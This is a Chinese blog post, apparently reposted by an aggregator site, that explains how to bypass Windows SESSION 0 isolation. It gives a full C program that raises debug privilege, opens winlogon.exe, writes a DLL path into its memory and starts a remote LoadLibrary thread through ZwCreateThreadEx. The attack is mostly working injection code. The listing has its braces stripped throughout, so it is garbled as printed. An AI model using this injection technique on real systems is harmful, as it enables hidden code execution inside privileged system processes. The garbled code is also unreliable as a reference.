突破SESSION 0隔离的远程线程注入

Posted 洞察世界,审视内心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了突破SESSION 0隔离的远程线程注入相关的知识,希望对你有一定的参考价值。

  与传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一区别在于,突破 SESSION 0 远线程注 入技术是使用比 CreateRemoteThread 函数更为底层的 ZwCreateThreadEx 函数来创建远线程,而具体的远线程注入原理是相同的。

  SESSION 机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用 CreateRemoteThread 执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候, ZwCreatedThreadEx 的参数 CreateSuspended(也就是 CreatedThread 标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。

过程:

  • 基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
  • 获取要注入的目标进程的 PID
  • 执行注入操作
  • 执行注入操作使用函数 ZwCreateRemoteThreadEx
#include<stdio.h>
#include<Windows.h>
#include<Tlhelp32.h>
#include <tchar.h>
#define DestProc _T("winlogon.exe")  //要注入的Session 0的进程,截屏进程

//提升为调试权限
BOOL SunEnableDebugPrivilege(BOOL IsEnable)        //IsEnable为TURE就是升成xx权限,而FALES为收回权限

    BOOL IsOk = FALSE;
    HANDLE TokenHandle;

    //打开当前进程,获取其令牌句柄,用于调整权限
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    
        TOKEN_PRIVILEGES TokenPrivileges;        //定义调整权限的填充值

        TokenPrivileges.PrivilegeCount = 1;        //要调整权限的数量
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid);        //查询xx权限对应的id Luid 
        TokenPrivileges.Privileges[0].Attributes = IsEnable ? SE_PRIVILEGE_ENABLED : 0;        //三目运算,IsEnable为TURE就取SE_PRIVILEGE_ENABLED,而FALES为0
        AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);        //调整进程权限
        IsOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(TokenHandle);
    
    return IsOk;


// char双字转char单字
BOOL SunUnicodeToAnsi(WCHAR* WideString, char** MultiByteString)


    DWORD MultiByteStringLength;

    if (!WideString)
    
        return FALSE;
    

    MultiByteStringLength = WideCharToMultiByte(CP_ACP,
        WC_COMPOSITECHECK,
        WideString, -1, NULL, 0, NULL, NULL);

    *MultiByteString = (char*)malloc(MultiByteStringLength * sizeof(CHAR));
    if (*MultiByteString == NULL)
    
        return FALSE;
    
    WideCharToMultiByte(CP_ACP,
        WC_COMPOSITECHECK,
        WideString, -1, *MultiByteString, MultiByteStringLength, NULL, NULL);

    return TRUE;



// 枚举进程,找到目标进程
BOOL GetProcessIDByName(TCHAR *name, PDWORD pid)

    PROCESSENTRY32 pe32 =  0 ;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    
        printf("CreateToolhelp32Snapshot Error :%d", GetLastError());
    
    BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照
    while (Ret)
    
        SIZE_T len = _tcslen(pe32.szExeFile);
        if (!_tcscmp(pe32.szExeFile,name))
        
            *pid = pe32.th32ProcessID;    // 得到目标进的Pid
            break;
        
        Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息
    
    return TRUE;



int main()

    //基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
    //获取要注入的目标进程的PID
    //执行注入操作
    //执行注入操作使用函数ZwCreateRemoteThreadEx

    /********************************Step1:当前进提权**********************************/

    HANDLE hProcess = GetCurrentProcess();
    DWORD pid;
    const char* DestPower = "SeDebugPrivilege";
    BOOL Ret = SunEnableDebugPrivilege(TRUE);    // 当前进程提权
    if (!Ret)
    
        MessageBox(0, _T("提权失败"), _T("失败"), 0);
        return 0;
    

    /********************************Step2:获得目标进程句柄**********************************/

    // 提权之后,匹配要注入的进程的PID,做进程遍历
    BOOL bRet = GetProcessIDByName((TCHAR*)DestProc, &pid);
    if (!bRet)
    
        MessageBox(0,_T("获得id失败"), _T("失败"), 0);
        return 0;
    
    //打开目标进程句柄
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);//打开进程句柄

    if (!handle)
    
        DWORD Error = GetLastError();
        printf("%d", Error);
        MessageBox(0,_T("打开句柄失败"), _T("失败"), 0);

        return 0;
    

    /********************************Step3:将dll路径写入到目标进程中**********************************/

    //申请空间,分配相应的权限
    LPVOID lpaddress = VirtualAllocEx(handle, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    if (!lpaddress)
        return 0;

    TCHAR DllFullPath[MAX_PATH] =  0 ;
    ULONG32 DllFullPathLength = 0;
    GetCurrentDirectory(MAX_PATH, DllFullPath);    // 获得当前进程这个路径
    // L"C:\\\\Users\\\\Lenovo\\\\source\\\\repos\\\\测试\\\\测试"

    _tcscat_s(DllFullPath, _T("\\\\mydll.dll"));    // 要注入dll的完整路径
    // L"C:\\\\Users\\\\Lenovo\\\\source\\\\repos\\\\测试\\\\测试\\\\mydll.dll"
    DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR);

    // 向申请的内存空间写入数据(dll完整路径)
    bool write = WriteProcessMemory(handle, lpaddress, DllFullPath, DllFullPathLength, NULL);
    if (!write)
        return 0;

    /********************************Step4:调用ntdll中函数ZwCreateThreadEx启动远程线程**********************************/

    // 加载ntdll.dll
    HMODULE hNtdll = LoadLibrary(_T("ntdll.dll"));
    if (NULL == hNtdll)
    
        printf("加载ntdll.dll失败!");
        CloseHandle(hProcess);
        return FALSE;
    
    // 获取LoadLibrary函数的地址
    HMODULE kernel32Base  =  GetModuleHandle(_T("kernel32.dll"));
#ifdef _UNICODE
    FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryW");
#else
    FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryA");
#endif // _UNICODE


    if (NULL == pFuncProcAddr)
    
        printf("获取LoadLibrary函数地址失败!");
        CloseHandle(hProcess);
        return FALSE;
    
    // 获取目标函数地址ZwCreateThreadEx
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,            // 32/64位不同点
        SIZE_T StackSize,            // ... ...
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,            // 32/64位不同点
        DWORD dw1,                    // ... ...
        DWORD dw2,
        LPVOID pUnkown
        );
#endif 
    typedef_ZwCreateThreadEx ZwCreateThreadEx =
        (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    
        printf("获取ZwCreateThreadEx函数地址失败!");
        CloseHandle(hProcess);
        return FALSE;
    
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, handle,
        (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpaddress, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    
        printf("目标进程中创建线程失败!");
        CloseHandle(hProcess);
        system("PAUSE");
        return FALSE;
    
    printf("注入成功");
    system("PAUSE");
    return TRUE;

 

测试结果:

  

 

以上是关于突破SESSION 0隔离的远程线程注入的主要内容,如果未能解决你的问题,请参考以下文章

远程线程注入怎么解决啊?高手们帮帮忙看看!

代码注入之远程调用线程的一些问题

远程线程注入代码

远程线程注入

远程线程注入

远程线程DLL注入, 如何释放DLL和结束DLL的线程